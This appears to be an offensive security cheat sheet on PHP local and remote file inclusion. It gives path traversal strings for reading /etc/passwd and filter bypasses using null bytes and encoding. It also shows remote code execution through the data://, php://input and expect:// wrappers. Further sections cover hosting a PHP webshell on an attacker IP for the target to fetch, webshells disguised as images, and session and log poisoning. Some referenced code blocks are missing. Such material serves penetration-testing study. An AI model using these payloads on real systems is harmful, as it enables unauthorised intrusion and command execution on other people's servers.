File Inclusion
Last updated
Last updated
The following table shows which functions may execute files and which only read file content:
Remember to look for which other pages we can use our LFI with using Fuzzing for codes other than 200 (even if we have access denied, we are "locally including" them so knowing they exist is what we care about)
needs to be enabled (allow_url_include
enabled in the PHP settings file, use base64 or other ways to read the file. File position in Enumeration page)
data://text/plain;base64,<base64-php-payload>&cmd=<COMMAND>
payload generation example: echo '<?php system($_GET["cmd"]); ?>' | base64
Usage: index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
Also depends on the same configuration being enabled as the data wrapper above
Example: index.php?language=php://input&cmd=id
Takes input from POST body
Externally installed and needs to be enabled too
Different parameter in the same config file: extension=expect
Executes commands directly: /index.php?language=expect://id
Get config file as for RCE (section above, location in Enumeration page).
Verify the following parameter, must be ON: allow_url_include
Test with local URL: http://127.0.0.1:80/index.php
Generate a payload file, example payload: echo '<?php system($_GET["cmd"]); ?>' > shell.php
Host the above file, use common ports like 80
or 443
Example: sudo python3 -m http.server 80
The send the request: /index.php?language=http://<OUR_IP>:<LISTENING_PORT>/shell.php&cmd=id
The above file/script can be hosted through FTP as well using: sudo python -m pyftpdlib -p 21
And then the request would become: /index.php?language=ftp://<OUR_IP>/shell.php&cmd=id
To create a SMB server a useful python package is: Impacket's smbserver.py
Usage: impacket-smbserver -smb2support share $(pwd)
This will allow for anonymous login and reads
Example payload for this: /index.php?language=\\<OUR_IP>\share\shell.php&cmd=whoami
Create gif: echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
Create zip: echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php
To use the zip version you need to use the zip wrapper: zip://shell.jpg
(to specify the zip file) and then specify the file to include using a URL Encoded #file.php. Result: zip://./profile_images/shell.jpg%23shell.php&cmd=id
Create Phar: Copy the following into a shell.php
file
Compile it and rename it into a fake jpg file:
Usage: phar://./profile_images/shell.jpg%2Fshell.txt&cmd=id
By default, session cookies are saved in:
Linux: /var/lib/php/sessions/
Windows: C:\Windows\Temp\
If the value of PHP_SESSID
cookies is el4ukv0kqbvoirg7nkp4dncpk3
then it's saved in /var/lib/php/sessions/sess_el4ukv0kqbvoirg7nkp4dncpk3
Using LFI we can check the contents and see if we have control over any session variable
For example, if a GET parameter is saved into the session file, it's possible to set the parameter to a URL Encoded shell %3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
and then use the LFI again to execute it: /var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
Nginx logs are readable by low privileged users by default (e.g. www-data
), while the Apache logs are only readable by users with high privileges (e.g. root/adm
groups)
access.log
keeps a log of the User-Agent header of every request, which we control.
By default, Apache
logs are located in /var/log/apache2/
on Linux and in C:\xampp\apache\logs\
on Windows, while Nginx
logs are located in /var/log/nginx/
on Linux and in C:\nginx\log\
on Windows.
Sometimes the log files are in different locations, it is suggested to use the SecLists LFI wordlist to Fuzz it if not found in the default locations.
Tip: The User-Agent
header is also shown on process files under the Linux /proc/
directory. So, we can try including the /proc/self/environ
or /proc/self/fd/N
files (where N is a PID usually between 0-50), and we may be able to perform the same attack on these files. This may become handy in case we did not have read access over the server logs, however, these files may only be readable by privileged users as well.
Examples of other possible logs to poison:
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
All the following commands use SecLists as wordlists
Top 25 LFI paramters list (Credits):
Change the parameters to the ones found above
In some cases it might be useful to find where the web root is. For example to know how to find uploaded files. Fuzz using the following command (may need to adjust the amount of ../)
In case the above way of finding the root doesn't work, we may need to find the config files to read it from there.
For this, other than the same wordlist as above (LFI-Jhaddix.txt), we can also use specific ones for Linux and Windows:
Example | |
---|---|
/index.php?language=/etc/passwd
Basic LFI
/index.php?language=../../../../etc/passwd
LFI with path traversal
/index.php?language=/../../../etc/passwd
LFI with name prefix
/index.php?language=./languages/../../../../etc/passwd
LFI with approved path
/index.php?language=....//....//....//....//etc/passwd
Bypass basic path traversal filter
/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
Bypass filters with URL encoding
/index.php?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
Bypass appended extension with path truncation (obsolete)
/index.php?language=../../../../etc/passwd%00
Bypass appended extension with null byte (obsolete < PHP 5.5)
/index.php?language=php://filter/read=convert.base64-encode/resource=config
Read PHP with base64 filter